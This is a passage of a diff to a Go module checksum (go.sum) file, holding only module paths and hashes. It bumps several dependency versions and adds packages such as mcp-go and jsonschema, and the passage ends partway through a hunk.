 github.com/aymanbagabas/go-udiff v0.3.1 h1:LV+qyBQ2pqe0u42ZsUEtPiCaUoqgA9gYRDs3vj1nolY=
 github.com/aymanbagabas/go-udiff v0.3.1/go.mod h1:G0fsKmG+P6ylD0r6N/KgQD/nWzgfnl8ZBcNLgcbrw8E=
+github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
+github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
 github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
+github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=
+github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0=
 github.com/carapace-sh/carapace v1.9.0 h1:IuEP6YeeK4fhrH7MoOyL0I3GMhvROerkw6YGxkx8Fbw=
 github.com/carapace-sh/carapace v1.9.0/go.mod h1:Zs3DpsawpFm+8fEfRVYE9EzMBYH8u7S3Aw9yAAKX0JM=
 github.com/carapace-sh/carapace-shlex v1.1.0 h1:58QSJTUxghpa/rEn6+Z9UM/Hy0ipVHDUn9S1mp4i+ZE=
@@ -142,6 +148,8 @@ github.com/coreos/go-iptables v0.8.0 h1:MPc2P89IhuVpLI7ETL/2tx3XZ61VeICZjYqDEgNs
 github.com/coreos/go-iptables v0.8.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
 github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
 github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
+github.com/creachadair/msync v0.7.1 h1:SeZmuEBXQPe5GqV/C94ER7QIZPwtvFbeQiykzt/7uho=
+github.com/creachadair/msync v0.7.1/go.mod h1:8CcFlLsSujfHE5wWm19uUBLHIPDAUr6LXDwneVMO008=
 github.com/creachadair/taskgroup v0.13.2 h1:3KyqakBuFsm3KkXi/9XIb0QcA8tEzLHLgaoidf0MdVc=
 github.com/creachadair/taskgroup v0.13.2/go.mod h1:i3V1Zx7H8RjwljUEeUWYT30Lmb9poewSb2XI1yTwD0g=
 github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
@@ -253,6 +261,8 @@ github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2
 github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
 github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2 h1:9K06NfxkBh25x56yVhWWlKFE8YpicaSfHwoV8SFbueA=
 github.com/insomniacslk/dhcp v0.0.0-20231206064809-8c70d406f6d2/go.mod h1:3A9PQ1cunSDF/1rbTq99Ts4pVnycWg+vlPkfeD2NLFI=
+github.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E=
+github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0=
 github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
 github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
 github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo=
@@ -264,8 +274,8 @@ github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFr
 github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
 github.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg=
 github.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo=
-github.com/jedib0t/go-pretty/v6 v6.6.8 h1:JnnzQeRz2bACBobIaa/r+nqjvws4yEhcmaZ4n1QzsEc=
-github.com/jedib0t/go-pretty/v6 v6.6.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
+github.com/jedib0t/go-pretty/v6 v6.7.8 h1:BVYrDy5DPBA3Qn9ICT+PokP9cvCv1KaHv2i+Hc8sr5o=
+github.com/jedib0t/go-pretty/v6 v6.7.8/go.mod h1:YwC5CE4fJ1HFUDeivSV1r//AmANFHyqczZk+U6BDALU=
 github.com/jellydator/ttlcache/v3 v3.1.0 h1:0gPFG0IHHP6xyUyXq+JaD8fwkDCqgqwohXNJBcYE71g=
 github.com/jellydator/ttlcache/v3 v3.1.0/go.mod h1:hi7MGFdMAwZna5n2tuvh63DvFLzVKySzCVW6+0gA2n4=
 github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
@@ -274,6 +284,7 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
 github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
 github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
 github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
+github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
 github.com/jsimonetti/rtnetlink v1.4.2 h1:Df9w9TZ3npHTyDn0Ev9e1uzmN2odmXd0QX+J5GTEn90=
 github.com/jsimonetti/rtnetlink v1.4.2/go.mod h1:92s6LJdE+1iOrw+F2/RO7LYI2Qd8pPpFNNUYW06gcoM=
 github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
@@ -282,8 +293,8 @@ github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWr
 github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
 github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
 github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
-github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo=
-github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ=
+github.com/klauspost/compress v1.18.1 h1:bcSGx7UbpBqMChDtsF28Lw6v/G94LPrrbMbdC3JH2co=
+github.com/klauspost/compress v1.18.1/go.mod h1:ZQFFVG+MdnR0P+l6wpXgIL4NTtwiKIdBnrBd8Nrxr+0=
 github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
 github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
 github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
@@ -306,6 +317,10 @@ github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69
 github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
 github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
 github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
+github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
+github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
+github.com/mark3labs/mcp-go v0.43.2 h1:21PUSlWWiSbUPQwXIJ5WKlETixpFpq+WBpbMGDSVy/I=
+github.com/mark3labs/mcp-go v0.43.2/go.mod h1:YnJfOL382MIWDx1kMY+2zsRHU/q78dBg9aFb8W6Thdw=
 github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
 github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
 github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
@@ -327,8 +342,8 @@ github.com/mdlayher/sdnotify v1.0.0 h1:Ma9XeLVN/l0qpyx1tNeMSeTjCPH6NtuD6/N9XdTlQ
 github.com/mdlayher/sdnotify v1.0.0/go.mod h1:HQUmpM4XgYkhDLtd+Uad8ZFK1T9D5+pNxnXQjCeJlGE=
 github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos=
 github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ=
-github.com/miekg/dns v1.1.68 h1:jsSRkNozw7G/mnmXULynzMNIsgY2dHC8LO6U6Ij2JEA=
-github.com/miekg/dns v1.1.68/go.mod h1:fujopn7TB3Pu3JM69XaawiU0wqjpL9/8xGop5UrTPps=
+github.com/miekg/dns v1.1.70 h1:DZ4u2AV35VJxdD9Fo9fIWm119BsQL5cZU1cQ9s0LkqA=
+github.com/miekg/dns v1.1.70/go.mod h1:+EuEPhdHOsfk6Wk5TT2CzssZdqkmFhf8r+aVyDEToIs=
 github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
 github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
 github.com/mitchellh/hashstructure/v2 v2.0.2 h1:vGKWl0YJqUNxE8d+h8f6NJLcCJrgbhC4NcD46KavDd4=
@@ -339,6 +354,8 @@ github.com/moloch--/go-keystone v0.0.2 h1:xThbYs45CSzoDUz5kBZxAyTPIpK3t5M7NB1x+N
 github.com/moloch--/go-keystone v0.0.2/go.mod h1:kpGRJpw9b7Eq3MluHrba+GPKZhSyDrvhLULSwH5nGGM=
 github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
 github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
+github.com/moloch--/readline v0.0.0-20260104185423-d3ac1d6c561d h1:9RbKockJl6ZdgoEh2QqU3An6Ij/NWZtRWS3J6yG0+qo=
+github.com/moloch--/readline v0.0.0-20260104185423-d3ac1d6c561d/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY=
 github.com/moloch--/sgn v0.0.4 h1:90IC5rx3TmPEfrqPnENB0yyiqcbcNk9LqezXx7uruF0=
 github.com/moloch--/sgn v0.0.4/go.mod h1:FyWfCtdynywgLmVR71vTJztZ3WkGSkR91Y4EOijUutE=
 github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
@@ -349,8 +366,8 @@ github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc
 github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
-github.com/ncruces/go-sqlite3 v0.29.1 h1:NIi8AISWBToRHyoz01FXiTNvU147Tqdibgj2tFzJCqM=
-github.com/ncruces/go-sqlite3 v0.29.1/go.mod h1:PpccBNNhvjwUOwDQEn2gXQPFPTWdlromj0+fSkd5KSg=
+github.com/ncruces/go-sqlite3 v0.30.4 h1:j9hEoOL7f9ZoXl8uqXVniaq1VNwlWAXihZbTvhqPPjA=
+github.com/ncruces/go-sqlite3 v0.30.4/go.mod h1:7WR20VSC5IZusKhUdiR9y1NsUqnZgqIYCmKKoMEYg68=
 github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
 github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
 github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M=
@@ -364,6 +381,8 @@ github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhA
 github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
 github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=
 github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
+github.com/pires/go-proxyproto v0.8.1 h1:9KEixbdJfhrbtjpz/ZwCdWDD2Xem0NZ38qMYaASJgp0=
+github.com/pires/go-proxyproto v0.8.1/go.mod h1:ZKAAyp3cgy5Y5Mo4n9AlScrkCZwUy0g3Jf+slqQVcuU=
 github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
@@ -374,14 +393,12 @@ github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH
 github.com/prometheus-community/pro-bing v0.4.0 h1:YMbv+i08gQz97OZZBwLyvmmQEEzyfyrrjEaAchdy3R4=
 github.com/prometheus-community/pro-bing v0.4.0/go.mod h1:b7wRYZtCcPmt4Sz319BykUU241rWLe1VFXyiyWK/dH4=
 github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
-github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E=
-github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY=
-github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc=
-github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8=
+github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
+github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
+github.com/prometheus/common v0.65.0 h1:QDwzd+G1twt//Kwj/Ww6E9FQq1iVMmODnILtW1t2VzE=
+github.com/prometheus/common v0.65.0/go.mod h1:0gZns+BLRQ3V6NdaerOhMbwwRbNh9hkGINtQAsP5GS8=
 github.com/reeflective/console v0.1.25 h1:do/r6rcKH6pCQDEzh5PhoVFcqHkqcjd0N6tNjpmYWWQ=
 github.com/reeflective/console v0.1.25/go.mod h1:It/IqEjo0PowaBuxBS9pEi5EYUgmtvQd0ytMtlS77kk=
-github.com/reeflective/readline v1.1.3 h1:meGkuEmujZHmalJ9eT3pYkwtkufH5EwYFPTnaph0T0s=
-github.com/reeflective/readline v1.1.3/go.mod h1:CwNkh9BmFBBCSO6mdDaNWb34rOqQsI9eYbxyqvOEazY=
 github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
 github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
 github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
@@ -399,10 +416,12 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
 github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
 github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
 github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
+github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y=
+github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
 github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
 github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0=
-github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s=
-github.com/spf13/cobra v1.10.1/go.mod h1:7SmJGaTHFVBY0jW4NXGluQoLvhqFQM+6XSKD+P4XaB0=
+github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=
+github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=
 github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
 github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
 github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
@@ -441,8 +460,8 @@ github.com/tailscale/xnet v0.0.0-20240729143630-8497ac4dab2e h1:zOGKqN5D5hHhiYUp
 github.com/tailscale/xnet v0.0.0-20240729143630-8497ac4dab2e/go.mod h1:orPd6JZXXRyuDusYilywte7k094d7dycXXU5YnWsrwg=
 github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
 github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
-github.com/tetratelabs/wazero v1.9.0 h1:IcZ56OuxrtaEz8UYNRHBrUa9bYeX9oVY93KspZZBf/I=
-github.com/tetratelabs/wazero v1.9.0/go.mod h1:TSbcXCfFP0L2FGkRPxHphadXPjo1T6W+CseNNY7EkjM=
+github.com/tetratelabs/wazero v1.11.0 h1:+gKemEuKCTevU4d7ZTzlsvgd1uaToIDtlQlmNbwqYhA=
+github.com/tetratelabs/wazero v1.11.0/go.mod h1:eV28rsN8Q+xwjogd7f4/Pp4xFxO7uOGbLcD/LzB1wiU=
 github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
 github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
 github.com/things-go/go-socks5 v0.1.0 h1:4f5dz0iMQ6cA4wseFmyLmCHmg3SWJTW92ndrKS6oERg=
@@ -455,6 +474,8 @@ github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=
 github.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
 github.com/vishvananda/netns v0.0.5 h1:DfiHV+j8bA32MFM7bfEunvT8IAqQ/NzSJHtcmW5zdEY=
 github.com/vishvananda/netns v0.0.5/go.mod h1:SpkAiCQRtJ6TvvxPnOSyH3BMl6unz3xZlaprSwhNNJM=
+github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc=
+github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw=
 github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
 github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
 github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
@@ -463,6 +484,8 @@ github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavM
 github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
 github.com/yiya1989/sshkrb5 v0.0.1 h1:oAKpXLBeZExjYDV9eTL2KypmXU+5oPrJtqDuR5JbWic=
 github.com/yiya1989/sshkrb5 v0.0.1/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
+github.com/yosida95/uritemplate/v3 v3.0.2 h1:Ed3Oyj9yrmi9087+NczuL5BwkIc4wvTb5zIM+UJPGz4=
+github.com/yosida95/uritemplate/v3 v3.0.2/go.mod h1:ILOh0sOhIJR3+L/8afwt/kE++YT040gmv5BQTMR2HP4=
 github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
 github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
 go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
@@ -481,6 +504,7 @@ go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
 go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
 go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
 go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
+go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
 go4.org/mem v0.0.0-20240501181205-ae6ca9944745 h1:Tl++JLUCe4sxGu8cTpDzRLd3tN7US4hOxG5YpKCzkek=
 go4.org/mem v0.0.0-20240501181205-ae6ca9944745/go.mod h1:reUoABIJ9ikfM5sgtSF3Wushcza7+WeD01VB9Lirh3g=
 go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
@@ -504,8 +528,8 @@ golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHl
 golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
 golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
 golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
-golang.org/x/mod v0.30.0 h1:fDEXFVZ/fmCKProc/yAXXUijritrDzahmwwefnjoPFk=
-golang.org/x/mod v0.30.0/go.mod h1:lAsf5O2EvJeSFMiBxXDki7sCgAxEUcZHXoXMKT4GJKc=
+golang.org/x/mod v0.31.0 h1:HaW9xtz0+kOcWKwli0ZXy79Ix+UW/vOfmWI5QVd2tgI=
+golang.org/x/mod v0.31.0/go.mod h1:43JraMp9cGx1Rx3AqioxrbrhNsLl2l/iNAvuBkrezpg=
 golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
 golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
 golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -514,8 +538,8 @@ golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn
 golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
 golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
 golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
-golang.org/x/net v0.47.0 h1:Mx+4dIFzqraBXUugkia1OOvlD6LemFo1ALMHjrXDOhY=
-golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU=
+golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
+golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
 golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
 golang.org/x/oauth2 v0.30.0 h1:dnDm7JmhM45NNpd8FDDeLhK6FwqbOf4MLCM9zb1BOHI=
 golang.org/x/oauth2 v0.30.0/go.mod h1:B++QgG3ZKulg6sRPGD/mqlHQs5rB3Ml9erfeDY7xKlU=
@@ -544,8 +568,8 @@ golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBc
 golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.39.0 h1:CvCKL8MeisomCi6qNZ+wbb0DN9E5AATixKsvNtMoMFk=
-golang.org/x/sys v0.39.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
